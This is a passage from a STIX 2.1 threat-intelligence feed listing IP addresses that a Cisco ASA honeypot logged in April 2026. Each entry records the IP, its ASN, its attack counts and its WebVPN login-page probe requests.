          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T12:52:00.379Z",
          "last_seen": "2026-04-23T05:19:52.267Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--605f7ee6-06eb-4fdc-bc47-32fc78addc3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T15:50:21.514Z",
          "last_seen": "2026-04-21T04:45:18.593Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d390546a-27cc-4237-b408-fcf7127a5b9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T16:12:45.821Z",
          "last_seen": "2026-04-25T05:09:14.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--155192ac-6456-45cd-bbb5-9984910e11c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T16:13:36.091Z",
          "last_seen": "2026-04-18T16:13:43.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-18T16:12:30.367Z",
          "last_seen": "2026-04-19T16:36:45.502Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--efafdd3a-753c-4ce1-852c-13b1779f36d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T16:16:13.841Z",
          "last_seen": "2026-04-26T04:51:52.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T15:36:58.944Z",
          "last_seen": "2026-04-18T15:37:25.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--4b61727e-19c2-422c-a419-0c391a26df68",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:20:11.000Z",
      "valid_until": "2026-05-20T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T16:48:12.746Z",
          "last_seen": "2026-04-19T06:09:42.154Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--a02e3e83-bf51-4dff-ad26-7d48f7a2071e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:20:11.000Z",
      "valid_until": "2026-05-20T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T16:27:02.194Z",
          "last_seen": "2026-04-24T16:17:35.601Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 210259 (LLC Applied Computational Technologies)",
      "id": "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T17:20:11.000Z",
      "valid_until": "2026-05-20T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-18T17:11:44.299Z",
          "last_seen": "2026-04-18T17:11:47.302Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 210259,
          "as_org": "LLC Applied Computational Technologies",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 26666 (Interserver, Inc)",
      "id": "indicator--41020f38-1d9c-4b0b-9964-c9cdd368300a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.250.202.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 127,
          "first_seen": "2026-04-18T17:31:31.603Z",
          "last_seen": "2026-04-19T21:53:31.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 26666,
          "as_org": "Interserver, Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--db44532b-d75a-4e9f-82c7-4c5f4d601e06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T17:31:57.971Z",
          "last_seen": "2026-04-27T18:13:39.491Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1379e925-fb2a-4c0b-b286-9c5424a11c56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T17:29:46.333Z",
          "last_seen": "2026-04-29T02:55:56.909Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d94cf6f2-006d-42eb-b318-3548549b5f71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T12:03:08.034Z",
          "last_seen": "2026-04-29T09:47:04.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--26c1058a-f9ae-4612-b035-5b8aa861c103",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T17:47:42.532Z",
          "last_seen": "2026-04-24T18:29:08.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f13bcadd-4895-400b-bb0f-def657b0229a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T18:16:31.322Z",
          "last_seen": "2026-04-18T18:16:39.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 36352 (HostPapa)",
      "id": "indicator--50c70455-b9c8-46bb-93ca-4f2766a395a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '72.11.154.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T18:20:11.000Z",
      "valid_until": "2026-05-20T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 50,
          "first_seen": "2026-04-18T17:29:15.955Z",
          "last_seen": "2026-04-19T00:16:54.679Z",
          "country": "United States",
          "country_code": "US",
          "asn": 36352,
          "as_org": "HostPapa",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--3328c6f1-8815-4b7f-8892-31c5d8d85143",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-18T19:12:57.307Z",
          "last_seen": "2026-04-18T19:13:03.386Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--d593ee1a-5d20-4666-8580-2793d044c716",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T03:23:03.713Z",
          "last_seen": "2026-04-23T05:54:44.712Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6381fbe7-3fb3-4bac-98cb-c98507b7af46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-16T07:33:15.415Z",
          "last_seen": "2026-04-29T10:58:06.409Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1a5711e3-bdad-44bb-8b45-6874fc494470",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:20:06.000Z",
      "valid_until": "2026-05-20T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
